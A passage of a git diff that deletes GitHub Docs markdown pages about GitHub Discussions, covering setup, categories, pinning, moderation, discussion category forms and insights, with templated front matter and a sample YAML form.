answers, locking discussions that are no longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. Similarly, people with triage permissions for the source repository for organization discussions can moderate the organization's discussions. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/moderating-discussions). - -For more information about repository permission levels and {% data variables.product.prodname_discussions %}, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -## Step 3: Change permissions levels for top contributors - -You can change a contributor's permission levels to give them more access to the tooling they need to moderate GitHub Discussions. To change a person's or team's permission levels, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository). - -## Step 4: Notify community members of elevated access - -When you change a collaborators permission level, they will receive a notification for the change. diff --git a/content/discussions/guides/index.md b/content/discussions/guides/index.md deleted file mode 100644 index 184058a24df3..000000000000 --- a/content/discussions/guides/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Discussions guides -shortTitle: Guides -intro: Discover pathways to get started or learn best practices for participating or monitoring your community's discussions. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /best-practices-for-community-conversations-on-github - - /finding-your-discussions - - /granting-higher-permissions-to-top-contributors ---- diff --git a/content/discussions/index.md b/content/discussions/index.md deleted file mode 100644 index 58b91ca1361e..000000000000 --- a/content/discussions/index.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: "{% data variables.product.prodname_discussions %} documentation" -shortTitle: "{% data variables.product.prodname_discussions %}" -intro: '{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an{% ifversion fpt or ghec %} open source or{% endif %} internal project. Community members can ask and answer questions, share updates, have open-ended conversations, and follow along on decisions affecting the community''s way of working.' -introLinks: - quickstart: /discussions/quickstart -redirect_from: - - /enterprise-cloud@latest/organizations/collaborating-with-your-team/about-team-discussions - - /enterprise-cloud@latest/organizations/collaborating-with-your-team/creating-a-team-discussion - - /enterprise-cloud@latest/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion - - /enterprise-cloud@latest/organizations/collaborating-with-your-team/pinning-a-team-discussion - - /enterprise-cloud@latest/organizations/collaborating-with-your-team -featuredLinks: - startHere: - - /discussions/collaborating-with-your-community-using-discussions/about-discussions - - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - - /discussions/managing-discussions-for-your-community/moderating-discussions - gettingStarted: - - /discussions/quickstart - guideCards: - - /discussions/collaborating-with-your-community-using-discussions/about-discussions - - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - - /discussions/managing-discussions-for-your-community/moderating-discussions - popular: - - /discussions/guides/granting-higher-permissions-to-top-contributors - - /discussions/guides/best-practices-for-community-conversations-on-github - - /discussions/guides/finding-your-discussions - - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions - - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions -changelog: - label: discussions -examples_source: data/product-examples/discussions/community-examples.yml -layout: product-landing -versions: - fpt: '*' - ghes: '*' - ghec: '*' -communityRedirect: - name: Provide GitHub Feedback - href: 'https://github.com/orgs/community/discussions/categories/discussions' -children: - - /quickstart - - /guides - - /collaborating-with-your-community-using-discussions - - /managing-discussions-for-your-community ---- diff --git a/content/discussions/managing-discussions-for-your-community/creating-discussion-category-forms.md b/content/discussions/managing-discussions-for-your-community/creating-discussion-category-forms.md deleted file mode 100644 index 8e973cc6196b..000000000000 --- a/content/discussions/managing-discussions-for-your-community/creating-discussion-category-forms.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Creating discussion category forms -shortTitle: Create discussion category forms -intro: You can customize the templates that are available for community members to use when they open new discussions in your repository. -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About discussion category forms - -You can encourage community members to include specific, structured information in their discussions by using discussion forms in your repository. With discussion category forms, you can create discussion templates that have customizable web form fields. Discussion forms are written in YAML using the {% data variables.product.prodname_dotcom %} form schema. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema). - -{% data reusables.actions.learn-more-about-yaml %} - -To use a discussion category form in your repository, you must create a new file and add it to the `/.github/DISCUSSION_TEMPLATE/` folder in your repository. - -You can also create discussion category forms for your organization. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file). - -Discussion category forms are not supported for polls. For more information about polls, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-polls). - -Here is the rendered version of the issue form. - -![Screenshot of a rendered discussion category form.](/assets/images/help/discussions/discussion-category-form-sample.png) - -## Creating discussion category forms - -People with write access to a repository can create a discussion category form. - -1. Navigate to the repository where you want to create a discussion category form. -1. In your repository, create a file called `/.github/DISCUSSION_TEMPLATE/FORM-NAME.yml`, replacing `FORM-NAME` with the name for your discussion category form. {% data reusables.discussions.discussion-category-forms-name %} For more information about creating new files on GitHub, see [AUTOTITLE](/repositories/working-with-files/managing-files/creating-new-files). -1. In the body of the new file, type the contents of your discussion category form. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/syntax-for-discussion-category-forms). -1. Commit your file to the default branch of your repository. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files/creating-new-files). diff --git a/content/discussions/managing-discussions-for-your-community/index.md b/content/discussions/managing-discussions-for-your-community/index.md deleted file mode 100644 index c97a84750e01..000000000000 --- a/content/discussions/managing-discussions-for-your-community/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Managing discussions for your community -shortTitle: Managing discussions -intro: 'You can enable and configure {% data variables.product.prodname_discussions %} for your repository, and you can use tools to moderate conversations among community members.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /managing-discussions - - /managing-categories-for-discussions - - /moderating-discussions - - /viewing-insights-for-your-discussions - - /creating-discussion-category-forms - - /syntax-for-discussion-category-forms ---- diff --git a/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md b/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md deleted file mode 100644 index 912689cd3978..000000000000 --- a/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Managing categories for discussions -intro: 'You can categorize discussions to organize conversations for your community members, and you can choose a format for each category.' -permissions: Repository administrators and people with write or greater access to a repository can manage categories for discussions in the repository. Repository administrators and people with write or greater access to the source repository for organization discussions can manage categories for discussions in the organization. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Manage categories -redirect_from: - - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository ---- - - -## About categories for discussions - -{% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} - -{% data reusables.discussions.about-announcement-format %} - -Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations. {% data reusables.discussions.repository-category-limit %} For more information, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions). - -{% data reusables.discussions.category-sections %} - -## Default categories - -| Category | Purpose | Format | -| :- | :- | :- | -| 📣 Announcements | Updates and news from project maintainers | Announcement | -| #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | -|💡 Ideas | Ideas to change or improve the project | Open-ended discussion | -| 🗳 Polls | Polls with multiple options for the community to vote for and discuss | Polls | -| 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | -| 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | - -## Creating a category - -1. Navigate to the main page of the repository or organization where you want to create a category. -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.edit-categories %} -1. Click **New category**. - - ![Screenshot of the "Manage discussion categories" page. A button, labeled "New category", is highlighted with an orange outline.](/assets/images/help/discussions/click-new-category-button.png) - -1. {% data reusables.discussions.edit-category-details %} -{% data reusables.discussions.add-category-to-section %} -1. Click **Create**. - -## Creating a section - -1. Navigate to the main page of the repository or organization where you want to create a category. -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.edit-categories %} -1. Click **New section**. - ![Screenshot of the "Manage discussion categories" page. A button, labeled "New section", is highlighted with an orange outline.](/assets/images/help/discussions/click-new-section-button.png) -1. Edit the emoji and title of the section. -1. Select the categories that you want to add to the section. A category can only belong to one section at a time. -1. Click **Create**. - -## Editing a category - -You can edit a category to change the category's emoji, title, description, and discussion format. - -1. Navigate to the main page of the repository or organization where you want to edit a category. -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.edit-categories %} -1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}. -1. {% data reusables.discussions.edit-category-details %} -{% data reusables.discussions.add-category-to-section %} -1. Click **Save changes**. - -## Editing a section - -You can edit a section to change the section's emoji and title, and to add and remove categories from the section. - -1. Navigate to the main page of the repository or organization where you want to edit a section. -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.edit-categories %} -1. To the right of a section in the list, click {% octicon "pencil" aria-label="The pencil icon" %}. -1. Edit the section's emoji and title, and select or deselect the categories that you want to add or remove from the section. -1. Click **Update**. - -## Deleting a category - -When you delete a category, {% data variables.product.github %} will move all discussions in the deleted category to an existing category that you choose. - -When you delete a section, all categories within the section will no longer belong to a section. - -1. Navigate to the main page of the repository or organization where you want to delete a category. -{% data reusables.discussions.discussions-tab %} -1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}. -1. Select the dropdown menu, and click a new category for any discussions in the category you're deleting. -1. Click **Delete & Move**. - -## Deleting a section - -When you delete a section, all categories within the section will no longer belong to a section. - -1. Navigate to the main page of the repository or organization where you want to delete a section. -{% data reusables.discussions.discussions-tab %} -1. To the right of a section in the list, click {% octicon "trash" aria-label="The trash icon" %}. -1. In the dialog box, review the information about deleting a section, then click **Delete**. diff --git a/content/discussions/managing-discussions-for-your-community/managing-discussions.md b/content/discussions/managing-discussions-for-your-community/managing-discussions.md deleted file mode 100644 index cb0bc567f7eb..000000000000 --- a/content/discussions/managing-discussions-for-your-community/managing-discussions.md +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: Managing discussions -intro: 'You can categorize, spotlight, transfer, or delete the discussions.' -permissions: Repository administrators and people with {% ifversion discussions-moderators-control-who-can-report %}triage{% else %}write{% endif %} or greater access to a repository can manage discussions in the repository. Repository administrators and people with {% ifversion discussions-moderators-control-who-can-report %}triage{% else %}write{% endif %} or greater access to the source repository for organization discussions can manage discussions in the organization. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Manage discussions -redirect_from: - - /discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository ---- - - -## About management of discussions - -{% data reusables.discussions.about-discussions %} For more information about discussions, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions). - -Organization owners can choose the permissions required to create a discussion in repositories owned by the organization. Similarly, to choose the permissions required to create an organization discussion, organization owners can change the permissions required in the source repository. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization). - -As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating{% ifversion fpt or ghec %} a code of conduct or{% endif %} contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see{% ifversion fpt or ghec %} [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project), and{% endif %} [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors). - -When a discussion yields an idea or bug that is ready to be worked on, you can create a new issue from a discussion. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue#creating-an-issue-from-a-discussion). - -You can pin a discussion to the top of the list of discussions for the repository or organization. You can also pin a discussion to a specific category. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-discussions#pinning-a-discussion). - -For more information on facilitating a healthy discussion, see [AUTOTITLE](/communities/moderating-comments-and-conversations). - -{% data reusables.discussions.you-can-label-discussions %} - -## Prerequisites - -To manage discussions in a repository, {% data variables.product.prodname_discussions %} must be enabled for the repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository). - -To manage discussions in an organization, {% data variables.product.prodname_discussions %} must be enabled for the organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization). - -## Changing the category for a discussion - -You can categorize discussions to help community members find related discussions. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions). - -You can also move a discussion to a different category. It's not possible to move a discussion to or from the polls category. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. In the right sidebar, to the right of "Category", click {% octicon "gear" aria-label="The gear icon" %}. -1. Click a category. - -## Pinning a discussion - -You can pin a discussion above the list of discussions for the repository or organization. You can also pin a discussion to a specific category. The globally pinned discussions will be shown in addition to the discussions pinned to a specific category. - -This is what it looks like when you have a globally pinned discussion and a discussion pinned to the Ideas category. - -![Screenshot of a globally pinned discussion and a discussion pinned to the Ideas category.](/assets/images/help/discussions/overview-pinned-discussions.png) - -### Pinning a discussion globally - -You can pin up to four important discussions above the list of discussions for the repository or organization. - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. In the right sidebar, click **{% octicon "pin" aria-hidden="true" %} Pin discussion**. - - ![Screenshot of the right sidebar of a discussion. The "Pin discussion" option is highlighted with an orange outline.](/assets/images/help/discussions/click-pin-discussion-with-category-pins.png) - -1. Optionally, customize the look of the pinned discussion. -1. Click **Pin discussion**. - -### Pinning a discussion to a category - -You can pin up to four important discussions above the list of discussions in a specific category. - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. In the right sidebar, click **{% octicon "pin" aria-hidden="true" %} Pin discussion to CATEGORY**. - - ![Screenshot of the right sidebar of a discussion. The "Pin discussion to Q&A" option is outlined in dark orange.](/assets/images/help/discussions/pin-discussion-to-category.png) - -1. To confirm, click **Pin to CATEGORY**. - -## Editing a pinned discussion - -Editing a pinned discussion will not change the discussion's category. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions). - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. In the right sidebar, click **{% octicon "pencil" aria-hidden="true" %} Edit pinned discussion**. - - ![Screenshot of the right sidebar of a discussion. The "Edit pinned discussion" option is outlined in dark orange.](/assets/images/help/discussions/edit-pinned-discussion-with-category-pins.png) -1. Customize the look of the pinned discussion. -1. Click **Pin discussion**. - -## Unpinning a discussion - -You can unpin a discussion from the list of discussions for the repository or organization, or from the list of discussions in a specific category. - -### Unpinning a globally pinned discussion - -You can unpin a globally pinned discussion. This will not delete the discussion, but the discussion will no longer be displayed above the list of discussions. - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. In the right sidebar, click **{% octicon "pin" aria-hidden="true" %} Unpin discussion**. - - ![Screenshot of the right sidebar of a discussion. The "Unpin discussion" option is highlighted with an orange outline.](/assets/images/help/discussions/click-unpin-discussion.png) - -1. Read the warning, then click **Unpin discussion**. - -### Unpinning a discussion from a category - -You can unpin a discussion pinned to a specific category. This will not delete the discussion, but the discussion will no longer be displayed at the top of the category. - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. In the right sidebar, click **{% octicon "pin" aria-hidden="true" %} Unpin discussion from this category**. - - ![Screenshot of the right sidebar of a discussion. The "Unpin discussion from this category" option is outlined in dark orange.](/assets/images/help/discussions/unpin-discussion-from-category.png) - -1. Read the warning, then click **Unpin from this category**. - -## Transferring a discussion - -To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. If you want to transfer a discussion to an organization, you must have permissions to create discussions in the source repository for the organization's discussions. You can only transfer discussions between repositories owned by the same user or organization account. You can't transfer a discussion from a private{% ifversion ghec or ghes %} or internal{% endif %} repository to a public repository. Additionally, you can't transfer discussions if they are announcements. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions#creating-a-category). - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. In the right sidebar, click {% octicon "arrow-right" aria-hidden="true" %}**Transfer this discussion**. - - ![Screenshot of the right sidebar of a discussion. The "Transfer this discussion" option is outlined in dark orange.](/assets/images/help/discussions/transfer-discussion-with-category-pin.png) - -1. Select the repository you want to transfer the discussion to. You can also search for repositories. If you want to transfer a discussion to an organization, choose the source repository for the organization's discussions. -1. Click **Transfer discussion**. - -## Deleting a discussion - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. In the right sidebar, click **{% octicon "trash" aria-hidden="true" %} Delete discussion**. - - ![Screenshot of the right sidebar of a discussion. The "Delete discussion" option is outlined in dark orange.](/assets/images/help/discussions/delete-discussion-with-category-pins.png) - -1. Read the warning, then click **Delete this discussion**. - -## Closing a discussion - -{% data reusables.discussions.closing-discussions %} - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -{% data reusables.discussions.click-discussion-in-list %} -1. At the bottom of the discussion, below the comment box, click **Close discussion**. -1. Optionally, to change the reason for closing the discussion, select the {% octicon "triangle-down" aria-label="The down triangle octicon" %} dropdown next to "Close discussion" and click a reason. - -## Converting issues based on labels - -You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure. - -1. Navigate to the main page of the repository or, for organization discussions, the source repository. -{% data reusables.repositories.sidebar-issues %} -{% data reusables.project-management.labels %} -1. Next to the label you want to convert to issues, click **Convert issues**. -1. Select the **Choose a category** drop-down menu, and click a category for your discussion. -1. Click **I understand, convert this issue to a discussion**. diff --git a/content/discussions/managing-discussions-for-your-community/moderating-discussions.md b/content/discussions/managing-discussions-for-your-community/moderating-discussions.md deleted file mode 100644 index 95c501e08f6d..000000000000 --- a/content/discussions/managing-discussions-for-your-community/moderating-discussions.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Moderating discussions -intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, converting issues to discussions, and editing or deleting comments, discussions, and categories that don''t align with your{% ifversion fpt or ghec %} community''s code of conduct{% elsif ghes %} organization''s contribution guidelines{% endif %}.' -permissions: People with triage access to a repository can moderate discussions in the repository. People with triage access to the source repository for organization discussions can moderate discussions in the organization. -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - - -## About moderating discussions - -{% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate that repository's discussions by marking comments as answers, locking discussions that are no longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. Similarly, if you have triage permission for the source repository for organization discussions, you can moderate discussions for that organization. - -## Marking a comment as an answer - -{% data reusables.discussions.marking-a-comment-as-an-answer %} - -## Locking discussions - -It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/free-pro-team@latest/site-policy/github-terms/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository, or source repository for organization discussions, will still be able to comment on the discussion. You can also allow emoji reactions to a locked discussion. - -> [!NOTE] -> You can also close a discussion. For more information, see [Closing a discussion](/discussions/managing-discussions-for-your-community/managing-discussions#closing-a-discussion). - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.discussions.discussions-tab %} -1. In the list of discussions, click the discussion you want to lock. - - ![Screenshot of the list of discussions with an unanswered discussion.](/assets/images/help/discussions/unanswered-discussion.png) - -1. In the right margin of a discussion, click **Lock conversation**. -1. Read the information about locking conversations. -1. Optionally, to allow emoji reactions while the discussion is locked, select **Allow reactions**. -1. To lock the conversation, click **Lock conversation**. -1. When you're ready to unlock the conversation, click **Unlock conversation** in the right margin of a discussion, then click **Unlock conversation**. - -## Converting an issue to a discussion - -When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository, or source repository for organization discussions, can bulk convert issues based on labels. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-discussions). - -{% data reusables.discussions.navigate-to-repo-or-org %} -{% data reusables.repositories.sidebar-issues %} -1. In the list of issues, click the issue you'd like to convert. -1. In the right margin of an issue, click **Convert to discussion**. -1. Select the **Choose a category** drop-down menu, and click a category for your discussion. -1. Click **I understand, convert this issue to a discussion**. - -{% ifversion discussions-hide-comments-on-block %} - -## Blocking a user from your organization - -Organization owners and moderators can block a user from the organization if their comments don't align with the community's code of conduct. When you block a user, they will no longer be able to comment on discussions. You can also hide all of the comments a user has made in the organization. For more information, see [AUTOTITLE](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization). - -{% data reusables.organizations.blocking-a-user %} -{% endif %} diff --git a/content/discussions/managing-discussions-for-your-community/syntax-for-discussion-category-forms.md b/content/discussions/managing-discussions-for-your-community/syntax-for-discussion-category-forms.md deleted file mode 100644 index 8808c521d692..000000000000 --- a/content/discussions/managing-discussions-for-your-community/syntax-for-discussion-category-forms.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Syntax for discussion category forms -shortTitle: Syntax for discussion category forms -intro: You can use YAML syntax to define the fields in your discussion category forms. -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About YAML syntax for discussion category forms - -You can create custom discussion category forms by adding a YAML form definition file to the `/.github/DISCUSSION_TEMPLATE/` folder in your repository. {% data reusables.actions.learn-more-about-yaml %} - -{% data reusables.discussions.discussion-category-forms-name %} - -For each field, you can define the input type, validation, and a default label. - -When a community member fills out a discussion form, their responses for each input are converted to markdown and added to the body of a discussion. Community members can edit their discussions that were created with a discussion form and other people can interact with the discussion like a discussion created through other methods. - -This example YAML configuration file defines a general discussion category form. - -{% data reusables.discussions.discussion-category-forms-sample %} - -## Top-level syntax - -The configuration file for a discussion category form must contain a `body` key, and the `body` must contain at least 1 non-Markdown field. - -```yaml copy -body: -- type: input - id: suggestion - attributes: - label: Suggestion - description: "How might we make this project better?" - placeholder: "Adding a CODE_OF_CONDUCT.md file would be a great idea." - validations: - required: true -``` - -You can set the following top-level keys for each discussion category form. - -| Key | Description | Required | Type | -| :-- | :-- | :-- | :-- | -| `body` | Definition of the input types in the discussion form. | Required | Array | -| `labels` | Labels that will automatically be added to discussions created with this template. | Optional | Array or comma-delimited string | -| `title` | A default title that will be pre-populated in the discussion submission form. | Optional | String | - -To add fields to your form, include an array of form elements in the `body` key. For a list of available elements and their syntaxes, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema). diff --git a/content/discussions/managing-discussions-for-your-community/viewing-insights-for-your-discussions.md b/content/discussions/managing-discussions-for-your-community/viewing-insights-for-your-discussions.md deleted file mode 100644 index 07aea8acd308..000000000000 --- a/content/discussions/managing-discussions-for-your-community/viewing-insights-for-your-discussions.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Viewing insights for your discussions -intro: 'Discussions insights provide data about your discussions'' activity, views, and contributors.' -permissions: Repository administrators and people with maintain access to a repository can view the insights dashboard for discussions in that repository. Repository administrators and people with maintain access to the source repository for organization discussions can view the insights dashboard for discussions in that organization. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Discussions -shortTitle: View discussions insights ---- - -## About the discussions insights dashboard - -You can use discussions insights to help understand the contribution activity, page views, and growth of your discussions community. -* **Contribution activity** shows the count of total contributions to discussions, issues, and pull requests. -* **Discussions page views** shows the total page views for discussions, segmented by logged in versus anonymous viewers. -* **Discussions daily contributors** shows the daily count of unique users who have reacted, upvoted, marked an answer, commented, or posted in the selected time period. -* **Discussions new contributors** shows the daily count of unique new users who have reacted, upvoted, marked an answer, commented, or posted in the selected time period. - -![Screenshot of the "Community insights" page. A dashboard displays graphs for data related to Discussions, such as page views.](/assets/images/help/discussions/discussions-dashboard.png) - -> [!NOTE] -> To view the exact data for a time period, hover over that time period in the graph. - -## Viewing discussions insights - -{% data reusables.repositories.navigate-to-repo %} For organization discussions, navigate to the main page of the source repository. -{% data reusables.repositories.accessing-repository-graphs %} -1. In the left sidebar, click **Community**. - - ![Screenshot of the left sidebar of the "Insights" page. The "Community" tab is highlighted in orange.](/assets/images/help/graphs/graphs-sidebar-community-tab.png) - -1. Optionally, in the upper-right corner of the page, select the **Period** dropdown menu and click the time period for which you want to view data: **30 days**, **3 months**, or **1 year**. diff --git a/content/discussions/quickstart.md b/content/discussions/quickstart.md deleted file mode 100644 index b987aca4dc74..000000000000 --- a/content/discussions/quickstart.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Quickstart for GitHub Discussions -intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository or organization and start conversations with your community.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Quickstart ---- - - -## Introduction - -{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source or internal project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project and are not related to code, unlike {% data variables.product.prodname_github_issues %}. Discussions enable fluid, open conversation in a public forum. - -Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. - -## Enabling {% data variables.product.prodname_discussions %} on your repository - -Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public{% ifversion ghes %}, internal{% endif %} and private repositories. The visibility of a discussion is inherited from the repository the discussion is created in. - -When you first enable {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. - -{% data reusables.repositories.navigate-to-repo %} -1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} -**Settings**. - - ![Screenshot of the tabs in a {% data variables.product.company_short %} repository. The "Settings" option is outlined in dark orange.](/assets/images/help/discussions/public-repo-settings-global-nav-update.png) - -1. Scroll down to the "Features" section and click **Set up discussions**. - - ![Screenshot of the "Discussions" option in the repository's settings. A green button, labeled "Set up discussions", is outlined in dark orange.](/assets/images/help/discussions/setup-discussions-button.png) - -1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. -1. Click **Start discussion**. - -## Enabling {% data variables.product.prodname_discussions %} on your organization - -Organization owners can enable {% data variables.product.prodname_discussions %} for their organization. - -{% data reusables.discussions.about-organization-discussions %} - -{% data reusables.discussions.enabling-or-disabling-github-discussions-for-your-organization %} - -## Welcoming contributions to your discussions - -You can welcome your community and introduce a new way to communicate in a repository or organization by creating a welcome post and pinning the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-discussions#pinning-a-discussion). - -## Setting up community guidelines for contributors - -For repository discussions, you can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see{% ifversion fpt or ghec %} [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project) and{% endif %} [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions). - -For organization discussions, you share information about how to engage with your organization by creating an organization profile README. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile). - -## Creating a new discussion - -Any authenticated user who can view the repository can create a discussion in that repository. Similarly, since organization discussions are based on a source repository, any authenticated user who can view the source repository can create a discussion in that organization. - -{% data reusables.discussions.starting-a-discussion %} - -## Creating a new poll - -Any authenticated user who can view a repository can create a poll. Similarly, since organization discussions are based on a source repository, any authenticated user who can view the source repository can create a poll in that organization. - -{% data reusables.discussions.starting-a-poll %} - -## Organizing discussions - -Repository owners and people with write access to the repository can create new categories to keep discussions organized. Similarly, since organization discussions are based on a source repository, repository owners and people with write access to the source repository can create new categories for organization discussions. - -Collaborators participating in and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions). - -{% data reusables.discussions.you-can-label-discussions %} - -## Promoting healthy conversations - -People with write permissions for the repository, or for the source repository for organization discussions, can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-discussions). - -People with triage permissions for the repository, or for the source repository for organization discussions, can help moderate a project's discussions by marking comments as answers, locking discussions that are no longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/moderating-discussions). - -## Next steps - -Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/moderating-discussions). diff --git a/content/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange.md b/content/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange.md deleted file mode 100644 index d0f8c24c40bc..000000000000 --- 